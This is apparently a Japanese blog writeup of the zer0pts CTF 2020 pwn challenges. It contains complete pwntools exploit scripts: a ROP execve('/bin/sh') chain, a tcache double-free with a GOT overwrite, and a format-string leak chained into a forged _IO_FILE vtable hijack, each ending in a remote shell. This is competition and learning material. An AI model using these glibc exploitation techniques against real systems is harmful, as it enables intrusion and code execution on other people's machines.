newbieからバイナリアンへ

newbieからバイナリアンへ

人参の秘めたる甘さに気づいた大学生日記

【pwn 24.0】 zer0pts CTF 2020 writeup (に満たない何か)

 

 

 

 

 

1: イントロ

 いつぞや開催された zer0pts CTF 2020 にチーム TSG として参加した

チームでは 8847点 を取り、 そのうち自分は 1382点 を解いて全体で 12位だった

 

f:id:smallkirby:20200309090754p:plain

 

 

pwn中心のCTFなのにもっと得点源になれないのはカスすぎますね

少しでもチームの得点に貢献できる日はいつになるのやら

 

 

 

 

2: hipwn

 やるだけ太郎

 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"

rhp1 =  {"host":"13.231.207.73","port":9010}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

int3_gad = 0x0040088c
syscall_gad = 0x004024dd
pop_rax_gad = 0x00400121
pop_rdi_gad = 0x0040141c
pop_rdx_gad = 0x004023f5
pop_rbx_gad = 0x0040019b
pop_rsi_r15_gad = 0x0040141a

def exploit(conn):
  conn.recvuntil("name?\n")
  pay = "/bin/sh\x00"
  pay += "A" * (0x108 - len(pay) - len("/bin/sh\x00"))

  pay += "/bin/sh\x00"
  pay += p64(pop_rax_gad)
  pay += p64(59)
  pay += p64(pop_rdi_gad)
  pay += p64(0x604268)
  pay += p64(pop_rsi_r15_gad)
  pay += p64(0)
  pay += p64(0)
  pay += p64(pop_rdx_gad)
  pay += p64(0)
  pay += p64(syscall_gad)
  
  conn.sendline(pay)


if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

結果 

f:id:smallkirby:20200309052915p:plain

 

 

3: diylist

 値を格納又は読み出しする際に、型を指定することができる

char* 型としてアロケートしたときのみmalloc()される

 

char* として allocate した後に

long として GOT のアドレスを書き込み

それを char* として読み出しすると、 libc関数のアドレスがリークできる

 

また delete する際には、値が pool に入っているもののみを char* 型としてfree()する + free() したあとも pool からその値が削除されないという仕様になっている

よって、アロケートしたchunkのアドレスをリークした後

long 型として chunk を複数アロケートして、リークしたアドレスの値を書き込み

それを delete することで容易にtcacheのdouble freeが起こる

尚、 libc は与えられていないが多分libc2.27だろうというメタ的推測をつけた (ha?)

(tcache の double free 検知は2.27にはない)

 

exploitは以下の通り

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"

rhp1 = {"host":"13.231.207.73","port": 9007}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

def hoge(conn,ix):
  conn.recvuntil("> ")
  conn.sendline(str(ix))

def _add(conn,ty,data):
  hoge(conn,1)
  conn.recvuntil(": ")
  conn.sendline(str(ty))
  conn.recvuntil("Data: ")
  if ty==1 or ty==2:
    conn.sendline(str(data))
  else:
    conn.send(data)

def _get(conn,ix,ty):
  hoge(conn,2)
  conn.recvuntil("Index: ")
  conn.sendline(str(ix))
  conn.recvuntil(": ")
  conn.sendline(str(ty))
  conn.recvuntil("Data: ")
  return conn.recvline().rstrip()

def _edit(conn,ix,ty,data):
  hoge(conn,3)
  conn.recvuntil("Index: ")
  conn.sendline(str(ix))
  conn.recvuntil(": ")
  conn.sendline(str(ty))
  conn.recvuntil("Data: ")
  if ty==1 or ty==2:
    conn.sendline(str(data))
  else:
    conn.send(data)

def _del(conn,ix):
  hoge(conn,4)
  conn.recvuntil("Index: ")
  conn.sendline(str(ix))
  if "Success" not in conn.recvline():
    raw_input("[!] delete failed. enter to continue:")
  else:
    print("[-]successfully deleted")

off_puts = 0x809c0
off_strchr = 0x9d7c0
off_printf = 0x64e80
off_atol = 0x406a0
onegadgets = [0x4f2c5,0x4f322,0x10a38c]

target = "puts"

def exploit(conn):
  #leak libc
  _add(conn,3,"D"*8)
  print("[*]puts got: "+hex(binf.got[target]))
  _edit(conn,0,1,binf.got[target])
  puts_addr = unpack(_get(conn,0,3).ljust(8,'\x00'))
  libcbase = puts_addr - off_puts
  one1 = libcbase + onegadgets[2]
  print("[+]puts: "+hex(puts_addr))
  print("[+]libc base: "+hex(libcbase))
  print("[+]onegadget: "+hex(one1))
  
  #alloc chunk and avoid from freeing by changing the value different from the addr in the pool
  _add(conn,3,"A"*8)
  str_addr1 = int(_get(conn,1,1))
  print("[+]addr: "+hex(str_addr1))
  _edit(conn,1,1,0xdeadbeef)

  #double free the tcache
  _add(conn,1,str_addr1)
  _del(conn,2)
  _add(conn,1,str_addr1)
  _del(conn,2)
  
  #overwrite fd of tcache and write onegadget's addr on GOT of puts
  _add(conn,3,p64(binf.got["puts"]))
  _add(conn,3,p64(0xdeadbeef))
  _add(conn,3,p64(one1))


if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

結果

f:id:smallkirby:20200309055033p:plain

 

 

4: grimoire

セキュリティ機構とlibc ver

f:id:smallkirby:20200309060036p:plain

 

 まず第一に filepath を書き換えることで任意ファイルの読み込みは可能である

但し、フラグファイル名の推測がつかないため、不採用

f:id:smallkirby:20200309055409p:plain

overwrite filepath

f:id:smallkirby:20200309055425p:plain

it's impossible to guess it fuck

 

あー眠い

 

まず、 filepath が見当たらない際の error() に於いて FSA ができる

これによって、 textbase と libcbase の両方がリークできる

 

また、fp も自由に書き換えられるためfake _IO_FILE_plusを作る

但し libc 2.27 では _IO_vtable_check() が走ることに注意

今回は、 abortの際に _IO_str_jumps の中の _IO_str_overflow が呼ばれるようにvtableを書き換え

その中で呼ばれる _s._allocate_buffer で PC を取ることにした

 

但し、今回は運悪く movaps に引っかかったため

一度 call rsi gadget を挟んでおくことにした

rsi には _IO_write_baseだかendだかが入るため、ここに予めonegadgetの値を入れておく

f:id:smallkirby:20200309063646p:plain

とりあえず貼っとこ

 

 

結局攻撃のフローは以下のようになった

f:id:smallkirby:20200309063413p:plain

なにこの世界一意味のない図???

 

exploitは以下の通り

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"

rhp1 = {"host":"13.231.207.73","port":9008}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

def hoge(conn,ix):
  conn.recvuntil("> ")
  conn.sendline(str(ix))

def _open(conn):
  hoge(conn,1)

def _read(conn):
  hoge(conn,2)
  conn.recvuntil("--*\n")
  return conn.recvuntil("*")[:-1]

def _revise(conn,off,text):
  hoge(conn,3)
  conn.recvuntil("Offset: ")
  conn.sendline(str(off))
  conn.recvuntil("Text: ")
  conn.send(text)
  
def _close(conn):
  hoge(conn,4)  

original_len = 370
margin = 0x90-2 #オリジナルのtextの末尾とfpとのオフセット
off_dlmap = 0x400031
off_grimoire_open = 0x1045
off_libc_scu_init = 0xab63d08690
off_libc_start_main231 = 0x21b97
off_main = 0x1478

ogs = [0x4f2c5,0x4f322,0x10a38c]

def exploit(conn):
  #leak libcbase and textbase
  _open(conn)
  _read(conn)
  _revise(conn,370,"A"*margin)
  fp =  unpack(_read(conn).split("A"*margin)[1].ljust(8,'\x00'))
  print("[*]fp: "+hex(fp))
    ##make it possible to fopen with init==1 by forcing fp=0
  _revise(conn,370,"A"*margin + p64(0) + "B"*0x18 + "%13$p:%14$p:%22$p\x00")

  _open(conn) #invoke error and do FSA
  data = conn.recvline().split(": No such")[0]
  textbase = int(data.split(":")[1],16) - off_grimoire_open
  libcbase = int(data.split(":")[2],16) - off_libc_start_main231
  addr_text = textbase + 0x202060
  print("[!]libcbase: "+hex(libcbase))
  print("[!]textbase: "+hex(textbase))
  print("[*]addr text: "+hex(addr_text))


  #forged fake _IO_FILE_plus
  magic = 0x40
  hoge = p64(0x0) #should be
  hoge += p64(0x000055ce789cf603)
  hoge += p64(0x000055ce789cf603)
  hoge += p64(0x0)
  hoge += p64(0x0)
  hoge += p64(libcbase + ogs[0]) #rdi
  hoge += p64(libcbase + ogs[0]) #rsi
  hoge += p64(0x0) #_IO_buf_base
  hoge += p64(0x700) #_IO_buf_end
  hoge += p64(0)*4
  hoge += p64(libcbase + 0x3ec680) #chain
  hoge += p64(0x0000000000000005)
  hoge += p64(0)*2
  hoge += p64(libcbase + 0x3ed8b0)
  hoge += p64(0x0000000000000173)
  hoge += p64(0)
  hoge += p64(libcbase + 0x3ed8b0) #lock
  hoge += p64(0)*6
  hoge += p64(libcbase + 0x3e8340 + 0x28) #_IO_str_jumps with little zure
  
  hoge += p64(libcbase + 0x00022e91) #_s._allocate_buffer == call rsi gadget
  hoge += "A"*(0x200 - magic -len(hoge)) + p64(addr_text + magic) + p64(0)*3 + "grimoire.txt"
  _revise(conn,magic,hoge)
  raw_input()

  _close(conn)

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

結果

 

f:id:smallkirby:20200309063616p:plain

 

 

5: babybof / protrude

チームの人が解いてくれました、凄い

 

6: syscall kit

解けなかった

 

気づきとしては

・brkは libc の wrapper じゃなくてシスコールの場合アドレスを返すということ

・xxx64 とか openat2 みたいな、seccompされてないしスコール使えないんかな

・send とか そのへん使えないんかな

・ソケット通信...?

 

バイナリ自体になんか欠陥があるだとか、C++固有のexploitだとかだったら、もう完敗。乾杯

 

 

7: wget

 チームの人が、 location 2回書いて multiple free させて libc leakまではいった

けど、自分的にデバッグ環境整えるの面倒でやれなかった

 

 

8: meowmow

 kernel問題解いたことなさ過ぎて、モジュールのソース軽く見ただけで、放置してた

grimoireでhardならmediumのこの問題、意外といけたのか???

 

 

9: Survey

ptr-yudai san, バケモンか???

 

 

10: アウトロ

pwn問題はとてもとても面白かったです

(全完勢がいたこととジャンルに偏りがあったのはご愛嬌)

 

 時間内に解けなかったpwn問題は後で必ず全部解いて復習する

 

 

 

 

よくよく考えると

CTFに参加して、楽しい気分で終わったことがないな

問題解けた時のドーパミンは終了時までもたないし、最後は必ず解けてない問題を諦めて終わることになる

 

ということで、もうCTFはしません

 

 

 

 

 

続く

続かない